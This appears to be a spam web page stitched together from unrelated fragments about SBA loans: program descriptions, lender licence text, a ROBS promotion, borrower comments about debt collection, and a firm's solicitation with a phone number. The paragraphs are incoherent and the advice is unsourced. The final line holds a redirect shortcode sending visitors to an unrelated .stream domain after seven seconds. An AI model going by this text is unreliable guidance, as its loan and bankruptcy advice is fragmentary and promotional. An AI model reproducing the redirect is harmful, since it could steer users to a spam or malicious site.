The Builders CAPLine is an SBA line of credit that can be used to cover the widest range of project related expenses. Materials, permitting, labor, equipment and even land are all potential uses. However, with this is also the most closely regulated CAPLine program and the proceeds can be disbursed on a draw schedule.
John, your situation is very familiar to situations we deal with on a daily basis here at Bridge Management. You can flip a coin and figure out if the treasury will take all of it. If they know about it, the odds are certainly likely they will get it. You should seriously consider speaking to a BK attorney to include the SBA debt so you can protect your disability and future wage garnishment.
High loan amounts: Online lenders typically don’t offer the sizable, seven-figure loans that a big bank can provide. However, the best lenders still offer loans well into the six figures so that small businesses can get the cash they need.
I have received a bill from the sba after 6 years that I owe 28000 now its with the treasury but both notices are in the corporate name only I sent the sba a letter and said that the corporation doesn’t exsist anymore. They said to send a dissolution certificate and it would close the matter.I guess I didn’t send it quick enough. They sent it to the treasury. Don’t know what to make of it
Now that you have a general overview of the six primary kinds of SBA loans, and the frequency of funding for each, it’s important to understand the difference between SBA loans and traditional bank loans.
It seems to me that you may be getting some bad advice. We have been dealing with businesses with problems just like yours for many years. We can help you with this. Please call me at 619-279-7522 or email me at [email protected].
California loans made pursuant to the California Financing Law, Division 9 (commencing with Section 22000) of the Finance Code. All such loans made through Lendio Partners, LLC, a wholly-owned subsidiary of Lendio, Inc. and a licensed finance lender/broker, California Financing Law License No. 60DBO-44694.
SBA Disaster Loans Up to $2 million available to small businesses and organizations that are located in a declared disaster zone and suffered damage to property or economic losses. Or businesses that lose a key employee who is a military member sna is called to active duty. Rates: 4 – 8%
SBA small business loans offer up to $5 million in financing that can be used for almost any business purpose, including start-up, acquisition or expansion. Loan proceeds can be used working capital, revolving funds, or to purchase real estate, equipment, inventory, etc.
For additional information on Rollover for Business Startups (ROBS) financing, you can get started today by signing up for a free consultation with a ROBS specialist. Our recommended ROBS provider, Guidant, will help you set up your ROBS correctly, and the process typically takes about 3 weeks.
I have a question about an SBA loan that my ex-husband received several years ago. Because we were married at the time, I was required to sign the loan papers. We subsequently divorced. I recently learned that he is 90+ day late in repaying the loan (not the first time he’s been late) and the bank had an atty send him, his 2 business partners and me a letter demanding full payment. My ex has subsequently worked out a repayment plan with the bank and they’ve put collection on hold. If he doesn’t meet those guidelines (and I’m fairly certain he won’t), the will go back to the demand for full payment. His office bldg is collateral, however it’s underwater. He filed bankruptcy about a year ago and included this loan. I’m looking for any advice on what I should be doing at this point to protect myself/my personal credit, and any indication of what I should expect if he does default.
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In addition to the above, if you are using the loan to buy commercial real estate it must be at least 51% owner occupied. For example, you cannot use a 504 loan to purchase a hotel that you will fully rent out to tenants. But you can use a 504 loan to purchase retail space that you will use most of and rent out a small part of to another tenant. New construction has even higher owner occupancy requirements. To view a comprehensive list of CDC / SBA 504 eligibility requirements, visit the SBA’s website. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]